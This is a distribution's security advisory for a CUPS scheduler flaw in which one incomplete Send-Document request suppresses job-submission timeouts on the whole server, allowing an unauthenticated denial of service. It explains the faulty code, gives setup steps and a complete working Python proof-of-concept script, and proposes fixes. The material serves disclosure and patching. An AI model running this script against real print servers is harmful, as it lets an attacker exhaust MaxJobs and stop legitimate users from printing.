GHSA-hhw5-qqmc-p6rg on Cyberus Linux 26.05
Aliases: GHSA-hhw5-qqmc-p6rg
Packages: cups
Status: Blocked: No known fix
Advisory Information
Summary
A flaw in
cupsdCheckJobs()allows an unauthenticated client that can reach the IPP service to freeze job-submission timeouts for every job on the server with one incomplete Send-Document request.While any client connection has an in-flight
IPP_SEND_DOCUMENTrequest,cupsdCheckJobs()skips timeout processing for all jobs withpending_timeoutset, without checking whether the connection belongs to the job currently being examined.As a result, jobs that are still waiting for documents (
job-incoming) never expire. An attacker can accumulate such jobs untilMaxJobsis reached, after which new print submissions from all users are rejected.I reproduced this on the official CUPS v2.4.20 release build and current 2.4.x HEAD. No authentication is required before placing the connection into the state that triggers the global timeout suppression.
Details
The issue is in the submission-timeout handling in
cupsdCheckJobs()(scheduler/job.c:282-302 on v2.4.20):if (job->pending_timeout) { /* * This job is pending; check that we don't have an active Send-Document * operation in progress on any of the client connections, then timeout * the job so we can start printing... */ cupsd_client_t *con; /* Current client connection */ for (con = cupsArrayFirst(Clients); con; con = cupsArrayNext(Clients)) if (con->request && con->request->request.op.operation_id == IPP_SEND_DOCUMENT) break; if (con) continue; ... cupsdSetJobState(job, ..., "Job submission timed out."); }For each job whose submission timeout has expired, cupsd scans the global client list for any connection currently processing
IPP_SEND_DOCUMENT. The code comment itself states "on any of the client connections" — the scan never matches the connection to the job being examined; there is no comparison ofjob-id,job-uri, or any other job-specific state. A single unrelated Send-Document consequently suppresses submission timeouts globally.The condition can be reached before Send-Document authorization is performed.
con->requestis already parsed and contains theIPP_SEND_DOCUMENToperation while the HTTP request body is still being received (scheduler/client.c:1724-1727). The actual IPP operation handler is dispatched only after the complete body reachesHTTP_STATE_POST_SEND(scheduler/client.c:1891).A client can therefore:
- send valid HTTP and IPP headers for
Send-Document;- declare a large
Content-Length;- send only part of the document body; and
- keep the TCP connection open.
At this point
con->request->request.op.operation_id == IPP_SEND_DOCUMENT, but the request has not reached the operation handler, so the Send-Document policy check has not yet occurred.While that connection remains open, unrelated jobs in
job-incomingstate do not expire afterMultipleOperationTimeout(900 seconds by default).An attacker can then repeatedly issue
Create-Jobrequests. These jobs normally expire if no document is supplied, but the held Send-Document connection prevents that cleanup.Once the number of retained jobs reaches
MaxJobs(500 by default), further job submissions are rejected because the scheduler's job table is full.Closing the held connection immediately removes the global suppression, after which the expired jobs are timed out and cleaned up.
I reproduced the issue on:
- CUPS v2.4.20 release tarball
- CUPS 2.4.x HEAD
a7bd8baProof of concept
Build CUPS v2.4.20 from the official release tarball:
./configure makeUse the shipped
conf/cupsd.conf.For testing from another host, configure cupsd to listen on a reachable address and allow the test client's subnet under
<Location />, for example:Listen 192.168.1.10:8632To shorten the reproduction, optionally set:
MultipleOperationTimeout 12The default is 900 seconds; this only reduces the time required to demonstrate the bug.
Create an accepting queue:
lpadmin -p p1 -E -v file:///dev/nullJob creation from another host requires a shared queue (
DefaultShareddefaults to Yes, so queues created withlpadminare shared); against an unshared queue a remote Create-Job is rejected withclient-error-not-authorizedbefore the job is created.Then run the following from a client permitted by the host ACL. No credentials are supplied.
#!/usr/bin/env python3 import socket import struct import sys import time HOST = sys.argv[1] PORT = int(sys.argv[2]) PURI = f"ipp://{HOST}:{PORT}/printers/p1" TMO = 12 def attr_str(tag, name, value): value = value.encode() return ( struct.pack(">BH", tag, len(name)) + name.encode() + struct.pack(">H", len(value)) + value ) def attr_int(name, value): return ( struct.pack(">BH", 0x21, len(name)) + name.encode() + struct.pack(">HI", 4, value) ) def attr_bool(name, value): return ( struct.pack(">BH", 0x22, len(name)) + name.encode() + struct.pack(">HB", 1, 1 if value else 0) ) def ipp_post(body, timeout=15): request = ( f"POST / HTTP/1.1\r\n" f"Host: {HOST}:{PORT}\r\n" f"Content-Type: application/ipp\r\n" f"Content-Length: {len(body)}\r\n" f"Connection: close\r\n\r\n" ).encode() + body sock = socket.create_connection((HOST, PORT), timeout=timeout) sock.sendall(request) response = b"" try: while True: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: pass sock.close() if b"\r\n\r\n" not in response: return None, b"" ipp = response.split(b"\r\n\r\n", 1)[1] code = struct.unpack(">H", ipp[2:4])[0] if len(ipp) >= 4 else None return code, ipp def create_job(user): body = struct.pack(">BBHI", 1, 1, 0x0005, 1) + b"\x01" body += attr_str(0x47, "attributes-charset", "utf-8") body += attr_str(0x48, "attributes-natural-language", "en") body += attr_str(0x45, "printer-uri", PURI) body += attr_str(0x42, "requesting-user-name", user) body += b"\x03" code, ipp = ipp_post(body) pos = ipp.find(b"job-id") job_id = ( struct.unpack(">I", ipp[pos + 8:pos + 12])[0] if pos >= 0 else None ) return code, job_id def job_state(job_id, user): body = struct.pack(">BBHI", 1, 1, 0x0009, 2) + b"\x01" body += attr_str(0x47, "attributes-charset", "utf-8") body += attr_str(0x48, "attributes-natural-language", "en") body += attr_str( 0x45, "job-uri", f"ipp://{HOST}:{PORT}/jobs/{job_id}", ) body += attr_str(0x42, "requesting-user-name", user) body += b"\x03" code, ipp = ipp_post(body) pos = ipp.find(b"job-state") state = ( struct.unpack(">I", ipp[pos + 11:pos + 15])[0] if pos >= 0 else None ) return code, state # Create the attacker's job. code, job_id = create_job("attacker") print("Create-Job:", hex(code), "job-id:", job_id) # Start Send-Document but deliberately leave the HTTP body incomplete. declared = 1 << 20 actual = 4096 body = struct.pack(">BBHI", 1, 1, 0x0006, 2) + b"\x01" body += attr_str(0x47, "attributes-charset", "utf-8") body += attr_str(0x48, "attributes-natural-language", "en") body += attr_str(0x45, "printer-uri", PURI) body += attr_int("job-id", job_id) body += attr_str(0x42, "requesting-user-name", "attacker") body += attr_bool("last-document", False) body += b"\x02" + b"\x03" + b"A" * declared headers = ( f"POST / HTTP/1.1\r\n" f"Host: {HOST}:{PORT}\r\n" f"Content-Type: application/ipp\r\n" f"Content-Length: {len(body)}\r\n" f"Connection: keep-alive\r\n\r\n" ).encode() pin = socket.create_connection((HOST, PORT), timeout=30) pin.sendall( headers + body[:-declared] + b"A" * actual ) # Create unrelated jobs. time.sleep(2) victims = [ create_job(f"victim{i}") for i in range(3) ] print( "victim Create-Jobs:", [(hex(code), jid) for code, jid in victims], ) # Wait beyond twice the configured submission timeout. time.sleep(2 * TMO + 4) held = [ job_state(jid, f"victim{i}") for i, (_, jid) in enumerate(victims) ] print( "states while Send-Document is held:", [(hex(code), state) for code, state in held], ) # Release the incomplete Send-Document. pin.close() time.sleep(8) after = [ job_state(jid, f"victim{i}") for i, (_, jid) in enumerate(victims) ] print( "states after release:", [(hex(code), state) for code, state in after], )While the incomplete Send-Document connection is held, the unrelated jobs remain in state
4(job-incoming) even after more than twiceMultipleOperationTimeout.No corresponding:
Job submission timed out.messages appear in
error_log.After the held connection is closed, the expired jobs time out immediately and the timeout messages appear together.
To demonstrate the full denial of service, keep the Send-Document connection open and continue issuing
Create-Jobrequests. Once the scheduler reachesMaxJobs, additional submissions are rejected withclient-error-not-possible/ "too many jobs".Impact
This is an unauthenticated denial-of-service vulnerability in cupsd.
A client that can reach the scheduler through the configured host ACL can keep one incomplete Send-Document request open and globally disable submission-timeout cleanup.
This allows incomplete jobs to accumulate until
MaxJobsis exhausted, after which legitimate users can no longer submit new print jobs.The denial of service persists for as long as the attacker maintains the connection. Closing it allows the expired jobs to time out and the scheduler to recover.
Network-accessible shared print servers and spool servers are the primary affected deployments. Systems that expose cupsd only on loopback are not remotely reachable through this path.
A robust fix should make the in-flight Send-Document check job-specific, for example by matching the request's
job-idorjob-uriagainst the job currently being timed out.Separately, enforcing a timeout for incomplete HTTP request bodies would prevent a client from holding the pre-dispatch Send-Document state indefinitely.
Updates
2026-10-09 15:59 CEST
Metadata changes:
- Status for package
cups: “Blocked: No known fix”
2026-10-09 01:14 CEST
Metadata changes:
- Status for package
cups: “Plausible”
2026-10-09 01:13 CEST
Metadata changes:
- Status for package
cups: “New”